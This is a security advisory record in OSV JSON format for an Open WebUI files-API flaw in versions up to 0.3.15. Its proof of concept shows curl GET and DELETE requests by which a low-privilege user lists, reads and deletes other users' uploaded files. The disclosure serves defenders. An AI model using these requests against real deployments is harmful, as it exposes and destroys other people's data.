CVE-2026-45301: Open WebUI Missing Permission Check Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r8wh-8m7r-fh33",
  "modified" : "2026-05-19T15:58:03Z",
  "published" : "2026-05-14T20:15:53Z",
  "aliases" : [ "CVE-2026-45301" ],
  "summary" : "Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file",
  "details" : "### Summary\nA missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.\n\n### Details\nAll `files/` related endpoints lack permission checks.\n\n#### Listing all files\nFor example, let's see how file listing is implemented:\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26\nNotice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' `user_id` to the requesting user.\n\nThis problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file.\nSome note worthy functions:\n#### Accessing the content of any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193\n#### Deleting any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241\n\n### PoC\n#### Configuration\n1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:\n`docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama`\n2. I created an admin user\n3. I created a second user to act as the threat actor with no elevated permissions\n4. Admin user uploaded `test.txt` in a conversation with model\n5. Admin user uploaded `mydeepest_secret.docx` in a conversation with model\n\n#### Listing files uploaded by other users\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/`\n```sh\ncurl -X 'GET' \\\n  'http://localhost:3000/api/v1/files/' \\\n  -H 'accept: application/json'\n```\n```json\n[\n  {\n    \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n    \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n    \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n    \"meta\": {\n      \"name\": \"test.txt\",\n      \"content_type\": \"text/plain\",\n      \"size\": 4,\n      \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n    },\n    \"created_at\": 1724709202\n  },\n  {\n    \"id\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98\",\n    \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n    \"filename\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\",\n    \"meta\": {\n      \"name\": \"mydeepest_secret.docx\",\n      \"content_type\": \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n      \"size\": 6485,\n      \"path\": \"/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\"\n    },\n    \"created_at\": 1724710236\n  }\n]\n```\n\n#### Accessing other users' file content\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/{id}/content`\n```sh\ncurl -X 'GET' \\\n  'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \\\n  -H 'accept: application/json'\n```\n```\nwow\n```\n\n#### Deleting another user's uploaded file\n1. Login to threat actor\n2. Perform a DELETE request to `/api/v1/files/{id}`\n```sh\ncurl -X 'DELETE' \\\n  'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \\\n  -H 'accept: application/json'\n```\n```json\n{\n  \"message\": \"File deleted successfully\"\n}\n```\n3. We will verify this action by furthur listing all files as mentioned above:\n```json\n[\n  {\n    \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n    \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n    \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n    \"meta\": {\n      \"name\": \"test.txt\",\n      \"content_type\": \"text/plain\",\n      \"size\": 4,\n      \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n    },\n    \"created_at\": 1724709202\n  }\n]\n```\n\n### Impact\nHaving access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.\n\n### Personal Notice\nIn case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.\n\nThanks in advance and have a good week (:\n\n## Credits\n\nThis vulnerability was reported by **Yuval Gal** (GitHub: @vi11ain).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "open-webui"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.3.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.3.15"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-r8wh-8m7r-fh33"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45301"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/open-webui/open-webui"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-284" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-14T20:15:53Z",
    "nvd_published_at" : "2026-05-15T22:16:53Z"
  }
}